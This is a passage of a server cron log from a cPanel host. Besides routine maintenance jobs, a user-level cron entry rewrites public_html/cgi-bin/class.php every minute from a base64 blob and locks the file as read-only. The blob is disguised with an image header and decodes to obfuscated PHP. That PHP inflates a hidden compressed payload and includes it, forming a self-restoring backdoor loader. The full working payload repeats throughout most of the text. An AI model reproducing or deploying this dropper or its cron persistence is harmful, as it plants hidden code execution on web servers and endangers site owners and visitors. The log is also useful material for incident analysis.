AarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:31:01 server CROND[9680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:32:02 server CROND[10079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:32:02 server CROND[10080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:32:02 server CROND[10081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:33:01 server CROND[10556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:33:01 server CROND[10557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:33:01 server CROND[10558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:34:01 server CROND[10923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:34:01 server CROND[10922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:34:01 server CROND[10924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:35:01 server CROND[11310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:35:01 server CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:35:01 server CROND[11314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:35:01 server CROND[11316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:35:01 server CROND[11317]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:35:01 server CROND[11319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:35:01 server CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:35:01 server CROND[11315]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:35:01 server CROND[11321]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 00:36:01 server CROND[12163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:36:01 server CROND[12164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:36:01 server CROND[12165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:37:01 server CROND[12561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:37:01 server CROND[12562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:37:01 server CROND[12564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:38:01 server CROND[13026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:38:01 server CROND[13027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:38:01 server CROND[13028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:39:01 server CROND[13396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:39:01 server CROND[13397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:39:01 server CROND[13398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:39:01 server CROND[13399]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 00:40:01 server CROND[13787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:40:01 server CROND[13788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:40:01 server CROND[13789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:40:01 server CROND[13815]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:40:01 server CROND[13817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:40:01 server CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:40:01 server CROND[13823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:40:01 server CROND[13816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:41:01 server CROND[14641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:41:01 server CROND[14642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:41:01 server CROND[14643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:42:01 server CROND[15014]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:42:01 server CROND[15015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:42:01 server CROND[15016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:42:01 server CROND[15017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:43:01 server CROND[15477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:43:01 server CROND[15479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:43:01 server CROND[15478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
